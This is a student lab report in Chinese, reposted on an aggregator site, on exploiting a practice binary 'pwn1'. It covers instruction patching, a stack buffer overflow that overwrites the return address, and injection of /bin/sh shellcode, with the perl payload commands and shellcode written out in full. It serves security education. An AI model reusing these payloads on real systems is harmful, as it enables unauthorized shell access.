20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/13 11:49:13/文章来源:https://www.cnblogs.com/leejuanr/p/19137431

20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1通过学习、分析可执行文件pwn1,学习了三种漏洞利用技术:

  • ​​直接修改程序机器指令​​:通过修改 call指令的跳转地址,强制程序执行原本不会运行的 getShell函数

  • 缓冲区溢出攻击(BOF)​​:通过构造超长输入覆盖返回地址,劫持程序执行流至 getShell

  • ​​Shellcode注入​​:向栈中注入自定义机器指令(如反弹Shell),并利用溢出跳转至该指令

1.2关键知识点:

  • ​​ELF文件结构

  • 反汇编分析​​(objdump)​

  • 栈帧布局

  • ​​返回地址覆盖

  • ​​EIP控制

  • Shellcode编写​

  • ​​NOP雪橇

  • ​​地址对齐​

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

2.1.1下载目标文件pwn1,并做反汇编

image

  • 可以看到,call 8048491,将调用位于地址8048491处的foo函数,对比发现发现 call foo的机器指令为 e8 d7ffffff跳转偏移 -41)

2.1.2计算新偏移

  • getShell地址 0x0804847d,call下条指令地址 0x080484ba,偏移量 0x7d-0xba=0xffffffc3

2.1.3修改指令

65b344cc61563fafb817e66a7e30f199

  • 将 d7改为 c3
    54a02635e0093120e27609ecc54b25e6
    bf19fa6efb2e58c1298374ac20862244
  • 验证修改后程序直接执行getshell
    408dc6f0a69084ff2e3126c43950dca3
  • 在这里碰到一点小问题,经过查询最后得以解决,会在后面介绍

2.2构造输入参数,造成BOF攻击,改变程序执行流

2.2.1反汇编确认存储位置结构

b93fd799c1c191e0625c537fa40dc0d4

0804847d <getShell>:804847d:	55                   	push   %ebp804847e:	89 e5                	mov    %esp,%ebp8048480:	83 ec 18             	sub    $0x18,%esp8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>804848f:	c9                   	leave  8048490:	c3                   	ret    == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞  ==08048491 <foo>:8048491:	55                   	push   %ebp8048492:	89 e5                	mov    %esp,%ebp8048494:	83 ec 38             	sub    $0x38,%esp8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax804849a:	89 04 24             	mov    %eax,(%esp)== 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax80484a5:	89 04 24             	mov    %eax,(%esp)80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>80484ad:	c9                   	leave  80484ae:	c3                   	ret    080484af <main>:80484af:	55                   	push   %ebp80484b0:	89 e5                	mov    %esp,%ebp80484b2:	83 e4 f0             	and    $0xfffffff0,%esp80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>==上面的call调用foo,同时在堆栈上压上返回地址值:\x7d\x84\x04\x08== 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax80484bf:	c9                   	leave  80484c0:	c3                   	ret    80484c1:	66 90                	xchg   %ax,%ax80484c3:	66 90                	xchg   %ax,%ax80484c5:	66 90                	xchg   %ax,%ax80484c7:	66 90                	xchg   %ax,%ax80484c9:	66 90                	xchg   %ax,%ax80484cb:	66 90                	xchg   %ax,%ax80484cd:	66 90                	xchg   %ax,%ax80484cf:	90                   	nop080484d0 <__libc_csu_init>:

2.2.2确认字符串溢出字符个数

ea7cd6b6caccc004bece8a4adb3956b8

  • 如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell

2.2.3构造输入字符串

  • 由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

7bef0f1172556757bf5715fcea33ff0e

  • 可以看到输出如预期
    image

  • 然后将input的输入,通过管道符“|”,作为pwn1的输入,可以看到运行成功

2.3注入Shellcode并执行

2.3.1准备工作

  • 准备一段shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 设置堆栈可执行
sudo apt install patchelf
  • 验证是否成功​​
patchelf --set-execstack pwn1 
  • 输出 RWE(Read-Write-Execute),说明栈可执行
    7451f99576ea92a16082ebc0fb5e4b85
  • 关闭地址随机化
    46743a7fbf8260bc06c660f461ae16d4

2.3.2开始攻击

  • 打开两个终端,一个终端注入下方这段攻击,另一个开始调试
(cat input_shellcode;cat) | ./pwn1

307882cf4cd15566f6cec8f519996f75

  • 能够从上面找到esp地址为0xffffd36c,注意这与实验指导文件不一样,需要自行计算,根据实验指导书,地址需要+4,即0xffffd370
  • 故构造并注入下方,攻击成功
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

84badedc06159aea46cc23969fa79c7f

2.4结合nc模拟远程攻击

  • 用终端模拟主机。主机1,模拟一个有漏洞的网络服务;主机2,连接主机1并发送攻击载荷
    c02effdf907b41aa0b352461756a5b49

3.问题及解决方案

  • 问题1:execstack命令不可用
  • 问题1解决方案:通过查询得知,Kali Linux 2023+ 移除了 execstack,通过询问AI,改用patchelf,通过输入下方代替execstack使用。
patchelf --set-execstack ./pwn1
  • 问题2:在运行pwn1的时候碰到了报错zsh: permission denied: ./pwn1
  • 问题2解决方案:通过查询得知,是用户的权限不足(不小心将文件放在桌面上了),通过查询得到下方命令,添加执行权限,得以解决
chmod +x ./pwn1

4.学习感悟、思考等

  • 漏洞利用的本质​​是通过输入控制程序执行流,关键在于算好计算偏移量和地址。

  • ​​防御机制​​(如栈和堆​不可执行、地址随机化)大幅增加攻击难度,需结合信息泄漏(objdump)绕过。

  • ​​工具链的差异​​(如 execstack被弃用)要求灵活适应环境变化。

  • ​​实践价值​​:理解漏洞原理后,能更有效地编写安全代码(如避免 gets

参考资料

  • 腾讯元宝
  • 通义千文

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936012.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年10月方钢厂家最新推荐排行榜,热轧方钢,冷拉方钢,高强度方钢,优质方钢供应商推荐!

2025年10月方钢厂家最新推荐排行榜:热轧方钢、冷拉方钢、高强度方钢、优质方钢供应商推荐随着工业和建筑业的快速发展,方钢作为重要的建筑材料之一,其需求量持续增长。为了帮助筛选方钢品牌,特此发布权威推荐榜单,…

OpenBLAS blas_thread_init: pthread_create failed for thread 1 of 4: Operation not permitted

https://blog.csdn.net/qq_45237725/article/details/148383599 (加权限)无可奈何花落去,似曾相识燕归来

QPSK调制在瑞利、高斯和莱斯信道下的MATLAB仿真

QPSK调制在不同信道条件下性能仿真的MATLAB实现 %% QPSK在瑞利、高斯和莱斯信道下的仿真 clear; close all; clc;%% 仿真参数设置 numBits = 1e6; % 传输的比特数 SNR_dB = 0:2:20; % 信噪比范…

Delapp文件删除工具!Windows中删除文件和文件夹的简单工具!仅507KB的工具小巧且方便

有的时候我们删文件总是遇到无法删除,提示文件在另一程序打开,但是又没有打开,怎么删也删不掉, ​​ 软件介绍 Delapp 是一款开源免费的Windows文件删除工具,免安装、小巧、速度快、支持win7……帮你解除占用,爽…

在 2023 年屌爆了一整年的 shadcn/ui 用的 Headless UI 到底是何方神圣?

在 2023 年屌爆了一整年的 shadcn/ui 用的 Headless UI 到底是何方神圣? 2024-03-1113,974阅读8分钟 专栏: Headless UI 无头组件的介绍与实现 作者:易师傅 、github 声明:本文为稀土掘金技术社区首发签约文章…

基于Hadoop+Spark的商店购物趋势分析与可视化平台科技达成

基于Hadoop+Spark的商店购物趋势分析与可视化平台科技达成pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consola…

2025 年折弯厂家推荐:江阴市富磊钢板加工专业中厚钢板折弯加工与高效行业解决方案提供商

行业背景随着船舶设备、港口重工、换热设备、环保设备等重工行业的快速发展,市场对中厚钢板折弯加工的需求日益提升,尤其是超厚、超长、大吨位的钢板折弯加工需求,对加工企业的技术实力、设备配置和产能规模提出了更…

2025年10月振动电机厂家最新推荐排行榜,三相振动电机,单相振动电机,防爆振动电机公司推荐!

2025年10月振动电机厂家最新推荐排行榜:三相、单相及防爆振动电机公司推荐随着工业自动化和智能化的不断发展,振动电机在各个行业的应用越来越广泛。从矿山、冶金到食品加工、化工等领域,振动电机都发挥着重要作用。…

2025 储能 EMS 厂商排名:五大品牌以全维度优势领跑,技术与规模双驱动企业凸显

在新型电力系统建设加速推进的背景下,储能 EMS 作为储能电站的 “大脑”,其厂商的综合实力直接决定系统运行效率与价值实现。2025 年市场竞争已从场景适配转向全维度实力比拼,资质认证的完备性、核心技术的突破性、…

【IEEE出版、连续6届已EI检索、多校联办】第七届机器人、智能控制与人工智能国际学术会议(RICAI 2025)

第七届机器人、智能控制与人工智能国际学术会议(RICAI 2025) 2025 7th International Conference on Robotics, Intelligent Control and Artificial Intelligence IEEE出版(ISBN: 979-8-3315-6934-1),IEEE Xplor…

企业数字化转型浪潮下,如何选择最适合的项目管理工具?

企业数字化转型浪潮下,如何选择最适合的项目管理工具? 随着数字化转型进程加速,项目管理工具已成为企业提升协作效率的关键基础设施。根据Gartner最新调研数据,2023年全球项目管理软件市场规模达到59亿美元,年增长…

dify工作流遇到的问题及解决方案

dify工作流遇到的问题及解决方案1、在通过dify粘贴文件url上传时遇到的报错:报错显示无效的url,在浏览器输入这串url能获取到文件,说明是dify读取文件的问题 通过浏览器开发者模式可以得出结果:缺少本地url头 在di…

2025年10月青海视频号运营最新权威推荐榜:专业服务与创意内容引领潮流!

2025年10月青海视频号运营最新权威推荐榜:专业服务与创意内容引领潮流!随着移动互联网的快速发展,短视频平台已经成为企业宣传和品牌推广的重要渠道。在青海地区,视频号作为一种新兴的营销工具,正逐渐受到越来越多…

2025 年玻璃钢水箱生产厂家最新推荐榜单:含 30 吨 / 订做 / 消防 / 方形 / 拼装式 / 屋顶 / 大型产品,从产能与服务维度精选优质企业

当前建筑、化工、食品、医药等行业对玻璃钢水箱的需求日益增长,但市场乱象却让采购者陷入困境。多数厂家存在技术储备薄弱问题,产品质量波动大,难以满足行业严苛标准;部分厂家服务体系残缺,售前咨询模糊、售后响应…

[C++工程框架]gflags和gtest的简单介绍

[C++工程框架]gflags和gtest的简单介绍2025-10-13 11:21 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !…

2025 年水下打捞/打捞手机/打捞黄金/打捞戒指公司推荐榜:聚焦专业与高效,助您精准匹配靠谱服务

随着水上作业场景多元化、个人水下财物保护需求提升及航运事业的蓬勃发展,水下打捞服务已从专业工程领域逐步延伸至民用应急场景,2025 年国内水下打捞市场规模预计持续扩容。但市场快速发展也催生了资质不全、技术薄…

2025年10月通风气楼厂家最新推荐排行榜,工业/商用通风气楼,高效节能通风解决方案提供商!

2025年10月通风气楼厂家最新推荐排行榜,工业/商用通风气楼,高效节能通风解决方案提供商!随着工业和商业建筑对空气质量要求的不断提高,通风气楼作为重要的通风设备,其市场需求也在不断增长。为了帮助筛选通风气楼…

算法练习记录

1、输入两个字符串数据,返回加法运算后的值?public static String addStrings(String num1, String num2) {StringBuilder res = new StringBuilder();int i = num1.length() - 1;int j = num2.length() - 1;int car…

2025 最新活性炭交易服务公司排行榜:实力厂商与新锐品牌权威推荐,含选购指南

当前活性炭行业市场规模持续扩张,应用已渗透自来水处理、食品加工、工业废气净化等数十个领域,但行业内厂商资质悬殊:部分企业原料劣质、工艺落后导致产品吸附性能不达标,部分缺乏专业团队难以提供适配方案,回收环…

【隐语SecretFlow】 Unbalanced PSI Benchmark性能测试报告

导语 2022年10月份,隐语发布了PSI的性能数据,当时就引起了内部和外部用户的广泛关注,具体协议包括:ecdh/kkrt16/bc22协议,这些协议更适合双方数据量差别不大的场景,称为平衡PSI(Balanced PSI)。 在现实的隐私求…